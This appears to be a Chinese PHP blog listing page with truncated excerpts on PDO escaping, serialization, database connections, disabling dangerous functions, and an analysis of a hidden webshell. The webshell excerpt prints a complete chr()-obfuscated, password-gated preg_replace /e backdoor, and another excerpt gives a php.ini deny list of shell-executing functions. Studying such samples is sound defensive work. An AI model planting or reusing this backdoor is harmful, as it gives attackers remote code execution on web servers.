mysql在pdo方式下,mysql_real_escape_string替代方法

向数据库中插入数据,mysql方法是这样的。 $sql = "INSERT INTO users(user_name, user_pass, user_email, user_date, user_level)                 VALUES('" . mysql_real_escape_string($_POST['user_name']) . "'                     , '" . md5($_POST['user_pass']) . "'                     , '" . mysql_real_escape_string($_POST['user_email']) . "'                     , time(), 0)";             $result = mysql_query($sql); 这段代码用mysql_real_escape_string对提交的数据进行了转义处理。 用pdo对mysql数据库进行更新操作,假设mysql_real_escape_string函数不可用,我们要怎样对一个字符串进行转义呢,我认为可以这样处理。 <?php function addsla($str) {   if(!get_magic_quotes_gpc())   {     $str= addslashes($str);   }      &......

php serialize与unserialize的作用与使用

serialize(序列化)的作用是把数组或者php对象转为字符串。 unserialize(反序列化)的作用相反,是把字符串(经过serialize处理的)转化为数组或者php对象。 举例来说明一下: <?php   header("Content-Type:text/html;charset=UTF-8");   $citylist=array(   "city"=>"北京",   "address"=>"中关村",   "building"=>"鼎好"     );   $citylistout= serialize($citylist); //把$citylist转化为字符串   echo $citylistout;   echo "<br/><br/><br/>";   $citylistread=unserialize($citylistout);//把字符串转化为数组   var_dump($citylistread); ?> 输出结果如下: a:3:{s:4:"city";s:6:"北京";s:7:"address";s:9:"中关村";s:8:"building";s:6:"鼎好";} array(3) { ["city"]=> string(6) "北京" ["address"]=> string(9) "中关村" ["building"]=> string(6) "鼎好" }   mysql数据库中就是用serialize函数把数组转为字符串保存,......

php preg_replace执行一句话木马变形隐藏

无意中得到以下一段代码,就做了一个实例,来对这段代码进行分析研究,木马服务端程序如下: function getMd5($md5 = null) { $key = substr(md5($md5),26); return $key; } $array = array( chr(112).chr(97).chr(115).chr(115), chr(99).chr(104).chr(101).chr(99).chr(107), chr(48) . chr(102) .chr(56) . chr(56) . chr(51) . chr(101) ); if ( isset($_POST) ) $request = &$_POST; elseif ( isset($_REQUEST) ) $request = &$_REQUEST; if ( isset($request[$array[0]]) && isset($request[$array[1]]) ) { if ( getMd5($request[$array[0]]) == $array[2] ) { $token = preg_replace ( chr(47) . $array[2] . chr(47) . chr(101), $request[$array[1]], $array[2] ); } }   其中数据$array打印出来为pass,check,0f883e,作者利用了chr函数把ascii码转化为具体的字符进行代码变形隐藏了真实的代码,有效的防止了木马查杀工具的查杀,这也是黑客惯用的手段之一。 getMd5这个函数的功能是进行了一个简单的身份验证,用以验证客户端输出的密码是否正确。chr(48) . chr(102) .chr(56) . chr(56) . chr(51) . chr(101)执行后为0f883e,这是密码123456加密后的后六位字符(程序设置的密码是123456,可以根据需要把chr(48) . chr(102) .chr(56) . chr(56) . chr(51) . chr(101换成别的)。 $token =......

php需要禁用的危险函数

php作为世界上最流行的网站开发语言,与其拥有众多的内建函数,容易入门,方便易用是分不开的。 php的许多建函数除了带给网站强的功能以后,还给网站带来了一系列的安全问题。如eval函数,它能够将作为代码来执行。被别有用心的人利用的话,将对网站造成破坏。除了eval函数,还有许多危险的函数,除了破坏网站,还能威胁系统。如果网站开发都用不到这些函数的话,最好还是把他们禁用。 总结php危险函数有passthru,exec,shell_exec,system,popen,proc_open,chmod,escapeshellcmd,eval,preg_replace,特别是能够直接运行shell的函数,如果没有特别的需求,一定要禁掉,如exec,shell_exec,system,passthru,popen,proc_open。 禁用这些函数的方法就是打开php.ini文件,找到disable_functions=这行,如果前面有;去掉,设置成disable_functions=passthru,exec,shell_exec,system,popen,proc_open,chmod,escapeshellcmd 。 还有一个函数dl,这个函数的功能是动态加载php的库文件.在win系统下动态加载dll文件,在linux系统下加载.so文件,同样对系统构成威胁,建议禁掉,方法是PHP.ini里面enable_dl = off。 经过这样设置后系统应该比较安全了。网站本身的安全性那只能在写代码的时候注意了。 ......

php连接mssql数据库的方法

php连接sql server 2000数据库总结以下几种方法。 一、mssql_connect连接方法 连接代码 <?php $hostname=”ip地址”; //sql server 2000数据库服务器 $username=”user”; //登录的用户名 $password=”pass”; //登录的密码 $dataname=”test”; //要连接的数据库名 ini_set(“mssql.datetimeconvert”,”0″); $s = mssql_connect($hostname,$username,$password); $d=@mssql_select_db($dataname,$s) or die(“无法连接到数据库!”); $result=mssql_query(“select top 10 * from datatable1″,$s); //假设表名为datatable1,查询datatable1表中10行的数据 while($row=mssql_fetch_array($result)) { var_dump($row); } mssql_free_result($result); mssql_close($s); ?> 二、ado连接方法,适用于windows主机。 连接代码 $conn = new COM(“ADODB.Connection”) or die(“Cannot start ADO”); $conn->Open(“Provider=SQLOLEDB.1;Password=123456;User ID=sa;Initial Catalog=datename;Data Source=主机名或ip”); $rs=new COM(“Adodb.RecordSet”); $rs->Open(“select top 10 * from datat......
<<  7  8  9 
京ICP备14008139号-1